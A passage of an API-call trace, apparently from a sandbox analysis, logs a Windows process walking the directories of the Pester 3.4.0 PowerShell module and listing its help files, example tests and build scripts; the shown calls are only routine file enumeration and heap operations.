	[0182.709] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotMatch.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0182.709] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotThrow.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0182.709] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0182.710] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 0
	[0182.710] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0182.711] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0182.711] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0
	[0182.711] FindClose (in: hFindFile=0x76f568 | out: hFindFile=0x76f568) returned 1
	[0182.711] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0182.712] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1
	[0182.712] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4044f98
	[0182.712] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\*", lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f168
	[0182.718] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.718] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529f7d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bin", cAlternateFileName="")) returned 1
	[0182.718] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4151fa0
	[0182.720] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin\\*", lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529f7d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f3a8
	[0182.720] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529f7d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.720] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 1
	[0182.720] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 0
	[0182.720] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0182.720] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.720] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Build.bat", cAlternateFileName="")) returned 1
	[0182.721] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1
	[0182.721] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CHANGELOG.md", cAlternateFileName="")) returned 1
	[0182.721] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="chocolateyInstall.ps1", cAlternateFileName="")) returned 1
	[0182.721] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529ffc4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0182.721] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4151fa0
	[0182.721] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\*", lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529ffc4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f3a8
	[0182.722] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529ffc4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.722] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc26, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_BeforeEach_AfterEach.help.txt", cAlternateFileName="")) returned 1
	[0182.722] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Mocking.help.txt", cAlternateFileName="")) returned 1
	[0182.722] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Pester.help.txt", cAlternateFileName="")) returned 1
	[0182.723] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1739, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_should.help.txt", cAlternateFileName="")) returned 1
	[0182.723] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 1
	[0182.723] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 0
	[0182.723] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0182.723] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.723] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1
	[0182.723] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4151fa0
	[0182.723] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\*", lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76efe8
	[0182.723] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.723] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1107, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator", cAlternateFileName="CALCUL~1")) returned 1
	[0182.724] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0182.724] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Calculator\\*", lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1107, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f1a8
	[0182.724] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1107, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.725] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.ps1", cAlternateFileName="")) returned 1
	[0182.725] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.725] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.725] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0182.725] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0182.725] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1
	[0182.725] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0182.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Validator\\*", lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f3a8
	[0182.725] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.725] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x336, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.726] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x336, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.726] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0182.726] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0182.726] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0
	[0182.726] FindClose (in: hFindFile=0x76efe8 | out: hFindFile=0x76efe8) returned 1
	[0182.726] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.726] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1
	[0182.726] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4151fa0
